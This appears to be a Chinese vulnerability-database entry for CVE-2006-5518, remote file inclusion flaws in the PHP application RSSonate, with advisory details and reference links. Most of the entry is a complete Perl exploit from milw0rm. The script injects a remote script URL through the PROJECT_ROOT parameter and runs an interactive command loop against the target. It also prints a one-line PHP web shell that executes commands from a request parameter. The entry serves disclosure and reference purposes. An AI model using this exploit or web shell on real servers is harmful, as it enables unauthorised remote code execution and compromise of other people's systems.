Christopher Fowler (Rhode Island) RSSonate多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111344 漏洞类型 输入验证
发布时间 2006-10-21 更新时间 2006-10-30
CVE编号 CVE-2006-5518 CNNVD-ID CNNVD-200610-456
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2605
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-456
|漏洞详情
ChristopherFowler(RhodeIsland)RSSonate存在多个PHP远程文件包含漏洞,远程攻击者可以通过Src/getFeed/inc/目录下(1)xml2rss.php,(2)config_local.php,(3)rssonate.php和(4)sql2xml.php的PROJECT_ROOT参数包含的URL执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
#
# RSSonate remote Command Execution Vulnerabilities
# 
# Risk : High (Remote Code Execution)
# 
# Url: http://www.gocc.gov/groups/RI_SOS/software/sqltorss
#
# Exploit: 
#   http://site.com/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/config_local.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/rssonate.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/sql2xml.php?PROJECT_ROOT=[Evil_Script]
#   http://site.com/[path]/Src/getFeed/inc/xml2rss.php?PROJECT_ROOT=[Evil_Script]
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".     RSSonate remote Command Execution Vulnerabilities       .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];	
chomp($shell);
    
$path = $path."/Src/getFeed/inc/xml2rss.php";


sub usage(){
	print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
	print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?PROJECT_ROOT=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }
}

# milw0rm.com [2006-10-21]
|参考资料

来源:XF
名称:rssonate-project-file-include(29703)
链接:http://xforce.iss.net/xforce/xfdb/29703
来源:BID
名称:20654
链接:http://www.securityfocus.com/bid/20654
来源:MILW0RM
名称:2605
链接:http://www.milw0rm.com/exploits/2605
来源:VUPEN
名称:ADV-2006-4146
链接:http://www.frsirt.com/english/advisories/2006/4146
来源:SECUNIA
名称:22496
链接:http://secunia.com/advisories/22496
来源:OSVDB
名称:29938
链接:http://www.osvdb.org/29938
来源:OSVDB
名称:29937
链接:http://www.osvdb.org/29937
来源:OSVDB
名称:29936
链接:http://www.osvdb.org/29936
来源:OSVDB
名称:29935
链接:http://www.osvdb.org/29935
来源:MILW0RM
名称:2605
链接:http://milw0rm.com/exploits/2605